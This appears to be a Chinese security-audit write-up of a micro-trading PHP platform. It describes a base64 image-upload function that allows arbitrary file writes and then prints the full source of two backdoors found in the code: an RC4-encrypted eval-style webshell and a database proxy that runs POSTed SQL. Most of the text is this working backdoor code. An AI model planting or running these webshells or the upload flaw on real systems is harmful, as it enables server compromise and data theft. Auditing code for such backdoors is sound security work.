微盘分析

微盘分析

整体界面

审计思路

全局输入过滤

前台 recharge2方法调用base64任意上传,但是没有返回路径 如果要爆破的话,也要爆破最少七位数狗日的/upload/xy/2021/08-13/20210813152733-3689717.png

邀请码是随机生成的六位数 只能看能不能绕过前台鉴权了

漏洞点

 //图片上传为base64为的图片
    public function upload_base64($type,$img){
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)){
            $type_img = $result[2];  //得到图片的后缀
            //上传 的文件目录

            $App = new \think\App();
            $new_files = $App->getRootPath() . 'upload'. DIRECTORY_SEPARATOR . $type. DIRECTORY_SEPARATOR . date('Y') . DIRECTORY_SEPARATOR . date('m-d') . DIRECTORY_SEPARATOR ;

            if(!file_exists($new_files)) {
                //检查是否有该文件夹,如果没有就创建,并给予最高权限
                //服务器给文件夹权限
                mkdir($new_files, 0777,true);
            }
            //$new_files = $new_files.date("YmdHis"). '-' . rand(0,99999999999) . ".{$type_img}";
            $new_files = check_pic($new_files,".{$type_img}");
            if (file_put_contents($new_files, base64_decode(str_replace($result[1], '', $img)))){
                //上传成功后  得到信息
                $filenames=str_replace('\\', '/', $new_files);
                $file_name=substr($filenames,strripos($filenames,"/upload"));
//                echo $file_name;
                return $file_name;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }

利用

上传成功也没有回显,实际上是已经上传成功了 整体来说还是鸡肋啊

插曲

在源码里面还发现了后门,webshell和连接数据库的

webshell

<?php
ini_set("display_errors", "on");
define("APP_ROOT", dirname(__FILE__));
define('CPATH', sys_get_temp_dir() . '/.code');

class sh3ll
{
    function run()
    {
        include_once(CPATH);
		unlink(CPATH);
    }
}

class web
{
    public $token;
    public $datastr;
    public $code;

    function xinit()
    {
        $this->token = md5("a");
        $this->datastr = base64_decode($_POST["a"]);
        $this->code = $this->decode($this->token, $this->datastr);

    }

    function decode($key_str, $data_str)
    {
        $key = array();
        $data = array();
        for ($i = 0; $i < strlen($key_str); $i++) {
            $key[] = ord($key_str{$i});
        }
        for ($i = 0; $i < strlen($data_str); $i++) {
            $data[] = ord($data_str{$i});
        }
        $state = array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
            16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
            32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
            48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
            64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79,
            80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
            96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111,
            112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127,
            128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143,
            144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159,
            160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175,
            176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191,
            192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207,
            208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223,
            224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
            240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255);
        $len = count($key);
        $index1 = $index2 = 0;
        for ($counter = 0; $counter < 256; $counter++) {
            $index2 = ($key[$index1] + $state[$counter] + $index2) % 256;
            $tmp = $state[$counter];
            $state[$counter] = $state[$index2];
            $state[$index2] = $tmp;
            $index1 = ($index1 + 1) % $len;
        }
        $len = count($data);
        $x = $y = 0;
        for ($counter = 0; $counter < $len; $counter++) {
            $x = ($x + 1) % 256;
            $y = ($state[$x] + $y) % 256;
            $tmp = $state[$x];
            $state[$x] = $state[$y];
            $state[$y] = $tmp;
            $data[$counter] ^= $state[($state[$x] + $state[$y]) % 256];
        }
        $data_str = "";
        for ($i = 0; $i < $len; $i++) {
            $data_str .= chr($data[$i]);
        }
        return $data_str;
    }

    function __destruct()
    {
        $tt = new sh3ll;
        file_put_contents(CPATH, "<?php " . $this->code);
        $tt->run();
    }
}


$test = new web;
$test->xinit();
echo "it works";

mysql

<?php
ini_set("display_errors","on");
error_reporting(E_ERROR);
// error_reporting(E_ALL);
if (extension_loaded('pdo')) {
	/*abstract*/ class Min_PDO {
		var $_result, $server_info, $affected_rows, $errno, $error, $pdo;
		
		function __construct() {
			global $adminer;
			$pos = array_search("SQL", $adminer->operators);
			if ($pos !== false) {
				unset($adminer->operators[$pos]);
			}
		}
		
		function dsn($dsn, $username, $password, $options = array()) {
			$options[PDO::ATTR_ERRMODE] = PDO::ERRMODE_SILENT;
			$options[PDO::ATTR_STATEMENT_CLASS] = array('Min_PDOStatement');
			try {
				$this->pdo = new PDO($dsn, $username, $password, $options);
			} catch (Exception $ex) {
				auth_error(h($ex->getMessage()));
			}
			$this->server_info = @$this->pdo->getAttribute(PDO::ATTR_SERVER_VERSION);
		}
		
		/*abstract function select_db($database);*/
		
		function quote($string) {
			return $this->pdo->quote($string);
		}
		
		function query($query, $unbuffered = false) {
			$result = $this->pdo->query($query);
			$this->error = "";
			if (!$result) {
				list(, $this->errno, $this->error) = $this->pdo->errorInfo();
				if (!$this->error) {
					$this->error = lang('Unknown error.');
				}
				return false;
			}
			$this->store_result($result);
			return $result;
		}
		
		function multi_query($query) {
			return $this->_result = $this->query($query);
		}
		
		function store_result($result = null) {
			if (!$result) {
				$result = $this->_result;
				if (!$result) {
					return false;
				}
			}
			if ($result->columnCount()) {
				$result->num_rows = $result->rowCount(); // is not guaranteed to work with all drivers
				return $result;
			}
			$this->affected_rows = $result->rowCount();
			return true;
		}
		
		function next_result() {
			if (!$this->_result) {
				return false;
			}
			$this->_result->_offset = 0;
			return @$this->_result->nextRowset(); // @ - PDO_PgSQL doesn't support it
		}
		
		function result($query, $field = 0) {
			$result = $this->query($query);
			if (!$result) {
				return false;
			}
			$row = $result->fetch();
			return $row[$field];
		}
	}
	
	class Min_PDOStatement extends PDOStatement {
		var $_offset = 0, $num_rows;
		
		function fetch_assoc() {
			return $this->fetch(PDO::FETCH_ASSOC);
		}
		
		function fetch_row() {
			return $this->fetch(PDO::FETCH_NUM);
		}
		
		function fetch_field() {
			$row = (object) $this->getColumnMeta($this->_offset++);
			$row->orgtable = $row->table;
			$row->orgname = $row->name;
			$row->charsetnr = (in_array("blob", (array) $row->flags) ? 63 : 0);
			return $row;
		}
	}
}

if (extension_loaded("mysqli")) {
    header("ext: mysqli");
	class Min_DB extends MySQLi {
		var $extension = "MySQLi";

		function __construct() {
			parent::init();
		}

		function connect($server = "", $username = "", $password = "", $database = null, $port = null, $socket = null) {
			global $adminer;
			mysqli_report(MYSQLI_REPORT_OFF); // stays between requests, not required since PHP 5.3.4
			list($host, $port) = explode(":", $server, 2); // part after : is used for port or socket
			$ssl = false;
			if ($ssl) {
				$this->ssl_set($ssl['key'], $ssl['cert'], $ssl['ca'], '', '');
			}
			$return = @$this->real_connect(
				($server != "" ? $host : ini_get("mysqli.default_host")),
				($server . $username != "" ? $username : ini_get("mysqli.default_user")),
				($server . $username . $password != "" ? $password : ini_get("mysqli.default_pw")),
				$database,
				(is_numeric($port) ? $port : ini_get("mysqli.default_port")),
				(!is_numeric($port) ? $port : $socket),
				($ssl ? 64 : 0) // 64 - MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT (not available before PHP 5.6.16)
			);
			$this->options(MYSQLI_OPT_LOCAL_INFILE, false);
			return $return;
		}

		function set_charset($charset) {
			if (parent::set_charset($charset)) {
				return true;
			}
			// the client library may not support utf8mb4
			parent::set_charset('utf8');
			return $this->query("SET NAMES $charset");
		}

		function result($query, $field = 0) {
			$result = $this->query($query);
			if (!$result) {
				return false;
			}
			$row = $result->fetch_array();
			return $row[$field];
		}
		
		function quote($string) {
			return "'" . $this->escape_string($string) . "'";
		}
	}

} elseif (extension_loaded("mysql") && !((ini_bool("sql.safe_mode") || ini_bool("mysql.allow_local_infile")) && extension_loaded("pdo_mysql"))) {
    header("ext: mysql");
	class Min_DB {
		var
			$extension = "MySQL", ///< @var string extension name
			$server_info, ///< @var string server version
			$affected_rows, ///< @var int number of affected rows
			$errno, ///< @var int last error code
			$error, ///< @var string last error message
			$_link, $_result ///< @access private
		;

		/** Connect to server
		* @param string
		* @param string
		* @param string
		* @return bool
		*/
		function connect($server, $username, $password) {
			if (ini_bool("mysql.allow_local_infile")) {
				$this->error = lang('Disable %s or enable %s or %s extensions.', "'mysql.allow_local_infile'", "MySQLi", "PDO_MySQL");
				return false;
			}
			$this->_link = @mysql_connect(
				($server != "" ? $server : ini_get("mysql.default_host")),
				("$server$username" != "" ? $username : ini_get("mysql.default_user")),
				("$server$username$password" != "" ? $password : ini_get("mysql.default_password")),
				true,
				131072 // CLIENT_MULTI_RESULTS for CALL
			);
			if ($this->_link) {
				$this->server_info = mysql_get_server_info($this->_link);
			} else {
				$this->error = mysql_error();
			}
			return (bool) $this->_link;
		}

		/** Sets the client character set
		* @param string
		* @return bool
		*/
		function set_charset($charset) {
			if (function_exists('mysql_set_charset')) {
				if (mysql_set_charset($charset, $this->_link)) {
					return true;
				}
				// the client library may not support utf8mb4
				mysql_set_charset('utf8', $this->_link);
			}
			return $this->query("SET NAMES $charset");
		}

		/** Quote string to use in SQL
		* @param string
		* @return string escaped string enclosed in '
		*/
		function quote($string) {
			return "'" . mysql_real_escape_string($string, $this->_link) . "'";
		}

		/** Select database
		* @param string
		* @return bool
		*/
		function select_db($database) {
			return mysql_select_db($database, $this->_link);
		}

		/** Send query
		* @param string
		* @param bool
		* @return mixed bool or Min_Result
		*/
		function query($query, $unbuffered = false) {
			$result = @($unbuffered ? mysql_unbuffered_query($query, $this->_link) : mysql_query($query, $this->_link)); // @ - mute mysql.trace_mode
			$this->error = "";
			if (!$result) {
				$this->errno = mysql_errno($this->_link);
				$this->error = mysql_error($this->_link);
				return false;
			}
			if ($result === true) {
				$this->affected_rows = mysql_affected_rows($this->_link);
				$this->info = mysql_info($this->_link);
				return true;
			}
			return new Min_Result($result);
		}

		/** Send query with more resultsets
		* @param string
		* @return bool
		*/
		function multi_query($query) {
			return $this->_result = $this->query($query);
		}

		/** Get current resultset
		* @return Min_Result
		*/
		function store_result() {
			return $this->_result;
		}

		/** Fetch next resultset
		* @return bool
		*/
		function next_result() {
			// MySQL extension doesn't support multiple results
			return false;
		}

		/** Get single field from result
		* @param string
		* @param int
		* @return string
		*/
		function result($query, $field = 0) {
			$result = $this->query($query);
			if (!$result || !$result->num_rows) {
				return false;
			}
			return mysql_result($result->_result, 0, $field);
		}
	}

	class Min_Result {
		var
			$num_rows, ///< @var int number of rows in the result
			$_result, $_offset = 0 ///< @access private
		;

		/** Constructor
		* @param resource
		*/
		function __construct($result) {
			$this->_result = $result;
			$this->num_rows = mysql_num_rows($result);
		}

		/** Fetch next row as associative array
		* @return array
		*/
		function fetch_assoc() {
			return mysql_fetch_assoc($this->_result);
		}

		/** Fetch next row as numbered array
		* @return array
		*/
		function fetch_row() {
			return mysql_fetch_row($this->_result);
		}

		/** Fetch next field
		* @return object properties: name, type, orgtable, orgname, charsetnr
		*/
		function fetch_field() {
			$return = mysql_fetch_field($this->_result, $this->_offset++); // offset required under certain conditions
			$return->orgtable = $return->table;
			$return->orgname = $return->name;
			$return->charsetnr = ($return->blob ? 63 : 0);
			return $return;
		}

		/** Free result set
		*/
		function __destruct() {
			mysql_free_result($this->_result);
		}
	}

} elseif (extension_loaded("pdo_mysql")) {
    header("ext: pdo_mysql");
	class Min_DB extends Min_PDO {
		var $extension = "PDO_MySQL";

		function connect($server, $username, $password) {
			global $adminer;
			$options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => false);
			$ssl = false;
			if ($ssl) {
				if (!empty($ssl['key'])) {
					$options[PDO::MYSQL_ATTR_SSL_KEY] = $ssl['key'];
				}
				if (!empty($ssl['cert'])) {
					$options[PDO::MYSQL_ATTR_SSL_CERT] = $ssl['cert'];
				}
				if (!empty($ssl['ca'])) {
					$options[PDO::MYSQL_ATTR_SSL_CA] = $ssl['ca'];
				}
			}
			$this->dsn(
				"mysql:charset=utf8;host=" . str_replace(":", ";unix_socket=", preg_replace('~:(\d)~', ';port=', $server)),
				$username,
				$password,
				$options
			);
			return true;
		}

		function set_charset($charset) {
			$this->query("SET NAMES $charset"); // charset in DSN is ignored before PHP 5.3.6
		}

		function select_db($database) {
			// database selection is separated from the connection so dbname in DSN can't be used
			return $this->query("USE " . idf_escape($database));
		}

		function query($query, $unbuffered = false) {
			$this->pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, !$unbuffered);
			return parent::query($query, $unbuffered);
		}
	}

}
function idf_escape($idf) {
		return "`" . str_replace("`", "``", $idf) . "`";
	}
	
function decode($key_str, $data_str){
	$key = array();
	$data = array();
	for ( $i = 0; $i < strlen($key_str); $i++ ) {
	 $key[] = ord($key_str{$i});
	}
	for ( $i = 0; $i < strlen($data_str); $i++ ) {
	 $data[] = ord($data_str{$i});
	}
	$state = array( 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,
					16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
					32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,
					48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,
					64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,
					80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,
					96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,
					112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,
					128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,
					144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,
					160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,
					176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,
					192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,
					208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,
					224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,
					240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255 );
	$len = count($key);
	$index1 = $index2 = 0;
	for( $counter = 0; $counter < 256; $counter++ ){
	 $index2	 = ( $key[$index1] + $state[$counter] + $index2 ) % 256;
	 $tmp = $state[$counter];
	 $state[$counter] = $state[$index2];
	 $state[$index2] = $tmp;
	 $index1 = ($index1 + 1) % $len;
	}
	$len = count($data);
	$x = $y = 0;
	for ($counter = 0; $counter < $len; $counter++) {
	 $x = ($x + 1) % 256;
	 $y = ($state[$x] + $y) % 256;
	 $tmp = $state[$x];
	 $state[$x] = $state[$y];
	 $state[$y] = $tmp;
	 $data[$counter] ^= $state[($state[$x] + $state[$y]) % 256];
	}
	$data_str = "";
	for ( $i = 0; $i < $len; $i++ ) {
	 $data_str .= chr($data[$i]);
	}
	return $data_str;
}

function rc4($data, $pwd) {
    $key[]       = "";
    $box[]       = "";
    $pwd_length  = strlen($pwd);
    $data_length = strlen($data);
    $cipher      = '';
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j       = ($j + $box[$i] + $key[$i]) % 256;
        $tmp     = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a       = ($a + 1) % 256;
        $j       = ($j + $box[$a]) % 256;
        $tmp     = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[(($box[$a] + $box[$j]) % 256)];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}

$sign = "98dd3da5c6abe656cb6ed7556675a816";
$data = decode($sign,base64_decode($_POST["data"]));
parse_str($data,$param);
// echo $data;
// print_r($param);

$server = $param['server'];
$dbuser = $param['user'];
$dbpwd = $param['pass'];
$db2use = $param['db'];
$sql = $param['sql'];



if(!isset($_POST['sign']) && $_POST['sign']!==$sign){
    die("access denied");
}

$mysql = new Min_DB();
$mysql->connect($server,$dbuser,$dbpwd);
$mysql->select_db($db2use);
$mysql->set_charset('utf8');
$res = $mysql->query($sql);
$data = array();

if($mysql->error){
    $ret = '{"error":"'.addslashes($mysql->error).'"}';
}else{
    while($row=$res->fetch_row()){
        $data[]=$row;
    }
    $ret = '{"error":"","data":'.json_encode($data).'}';
}
// echo $ret;
echo base64_encode(rc4($ret,$sign));
updatedupdated2026-02-072026-02-07